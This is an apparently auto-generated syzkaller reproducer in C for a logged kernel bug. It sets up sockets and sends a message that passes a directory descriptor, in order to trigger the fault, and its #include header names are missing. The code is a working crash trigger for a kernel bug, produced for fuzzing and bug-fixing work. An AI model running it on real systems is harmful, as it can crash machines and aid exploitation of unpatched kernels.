// https://syzkaller.appspot.com/bug?id=7ef63c67437650b80e78a4da4bd1d4b3d1fa8bc9 // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include static __thread int clone_ongoing; static __thread int skip_segv; static __thread jmp_buf segv_env; static void segv_handler(int sig, siginfo_t* info, void* ctx) { if (__atomic_load_n(&clone_ongoing, __ATOMIC_RELAXED) != 0) { exit(sig); } uintptr_t addr = (uintptr_t)info->si_addr; const uintptr_t prog_start = 1 << 20; const uintptr_t prog_end = 100 << 20; int skip = __atomic_load_n(&skip_segv, __ATOMIC_RELAXED) != 0; int valid = addr < prog_start || addr > prog_end; if (skip && valid) { _longjmp(segv_env, 1); } exit(sig); } static void install_segv_handler(void) { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = segv_handler; sa.sa_flags = SA_NODEFER | SA_SIGINFO; sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); } #define NONFAILING(...) \ ({ \ int ok = 1; \ __atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \ if (_setjmp(segv_env) == 0) { \ __VA_ARGS__; \ } else \ ok = 0; \ __atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \ ok; \ }) #define __syscall syscall uint64_t r[3] = {0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff}; int main(void) { syscall(SYS_mmap, 0x20000000ul, 0x1000000ul, 3ul, 0x1012ul, -1, 0ul); install_segv_handler(); intptr_t res = 0; syscall(SYS_socket, 2ul, 2ul, 0); res = syscall(SYS_socket, 2ul, 2ul, 0); if (res != -1) r[0] = res; NONFAILING(*(uint16_t*)0x20000000 = 0x282); NONFAILING(memcpy((void*)0x20000002, "./file0\000", 8)); syscall(SYS_connect, r[0], 0x20000000ul, 0x10ul); NONFAILING(memcpy((void*)0x20000040, ".\000", 2)); res = syscall(SYS_open, 0x20000040ul, 0ul, 0ul); if (res != -1) r[1] = res; res = syscall(SYS_socket, 2ul, 1ul, 0); if (res != -1) r[2] = res; NONFAILING(*(uint64_t*)0x20001480 = 0); NONFAILING(*(uint32_t*)0x20001488 = 0); NONFAILING(*(uint64_t*)0x20001490 = 0); NONFAILING(*(uint64_t*)0x20001498 = 0); NONFAILING(*(uint64_t*)0x200014a0 = 0x200001c0); NONFAILING(*(uint32_t*)0x200001c0 = -1); NONFAILING(*(uint32_t*)0x200001c4 = -1); NONFAILING(*(uint32_t*)0x200001c8 = r[1]); NONFAILING(*(uint64_t*)0x200014a8 = 0x30); NONFAILING(*(uint32_t*)0x200014b0 = 0x400); syscall(SYS_sendmsg, r[2], 0x20001480ul, 4ul); return 0; }